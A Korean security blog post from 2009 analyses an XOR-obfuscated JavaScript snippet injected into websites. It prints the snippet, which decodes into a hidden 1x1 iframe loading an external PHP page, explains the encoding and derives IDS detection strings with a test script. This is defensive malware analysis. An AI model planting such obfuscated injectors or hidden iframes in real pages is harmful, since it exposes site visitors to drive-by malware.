'iframe'에 해당되는 글 1건

  1. 2009.12.28 함수를 이용한 인코딩된 악성스크립트
0x02 analysis2009. 12. 28. 18:26

뭐 지금까지 다양한 삽입된 스크립트들을 많이 보았는데요
오늘은 지금까지와는 좀 다른 형태를 봐서 포스팅합니다.

이런 형태를 보셨던 분들도 계시겠지만 저는 오늘이 처음이네요..^^;

<script>
q="=hgs`ld!rsb<iuuq;..mhwd,bntouds/hogn.ru`ur.ho/qiq!vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";
w="";
for(i=0;i<q.length;i++)
{
 w=w+String.fromCharCode(q.charCodeAt(i)^1);
};
document.write(w);
</script>


요즘은 iframe 삽입을 탐지하거나 차단하는 경우가 많아서 그런지 이걸 우회할려는 의도로 보입니다.
디코딩해보면...

<iframe src=http://live-counter.info/stats/in.php width=1 height=1 style='visibility:hidden'></iframe>


디코딩이라기 보다는 이상한 문자열을 함수에 넣어서 돌린 결과라고 하는게 맞겠네요..
결국 iframe이 나오네요...

for문을 돌면서 한글자씩 읽어와서 문자를 치환하는 방식을 사용했는데요 붉은색으로 된 부분만 보시면

=hgs`ld!rsb<iuuq;..
<iframe src=http://


이런식으로 치환이 되어 있습니다.
결국 iframe으로 삽입을 한다면 붉은색으로 된 부분은 항상 같은 형태가 나올 수 있다는 것이지요.
<script src=http:// 를 사용한다면 물론 달라지겠구요..

그런데 <iframe src=" 를 쓸지 <iframe src= 를 쓸지에 따라서 치환된 문자 형태가 달라질 것으로 보입니다.
결국 <iframe src=과 <script src=을 치환시켜 IDS에 패턴을 넣어서 추이를 살펴봐야 할 것으로 생각됩니다.

이런 패턴이 많아지면 귀찮을 것 같은데요..
좀 지켜봐야 할 것 같습니다.

--------------------------------------------------------------------------------------------------

내침김에 IDS 패턴 만들어 봤습니다.
귀찮을거라 예상했는데 생각보다 단순했습니다.

w=w+String.fromCharCode(q.charCodeAt(i)^1); 에 입력되는 문자열을 <iframe src= 와 <script src= 를
입력했더니 치환된 문자열이 나왔습니다.


패턴명 : <iframe src=
탐지문자열 : =hgs`ld!rsb<

패턴명 : <script src=
탐지문자열 : =rbshqu!rsb<


제가 사용했던 스크립트 코드 첨부합니다. 굵은색으로 된 부분이 <iframe src= <script src=을 치환한 for문입니다.

<script>
q="=hgs`ld!rsb<iuuq;..";
p="<iframe src=";
r="<script src=";
w="";
x="";
y="";

for(i=0;i<q.length;i++)
{
        w=w+String.fromCharCode(q.charCodeAt(i)^1);
};

for(i=0;i<p.length;i++)
{
        x=x+String.fromCharCode(p.charCodeAt(i)^1);
};

for(i=0;i<r.length;i++)
{
        y=y+String.fromCharCode(r.charCodeAt(i)^1);
}

document.write("<textarea rows=5 cols=100>");
document.write(w);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(x);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(y);
document.write("</textarea>");
</script>


Posted by demantos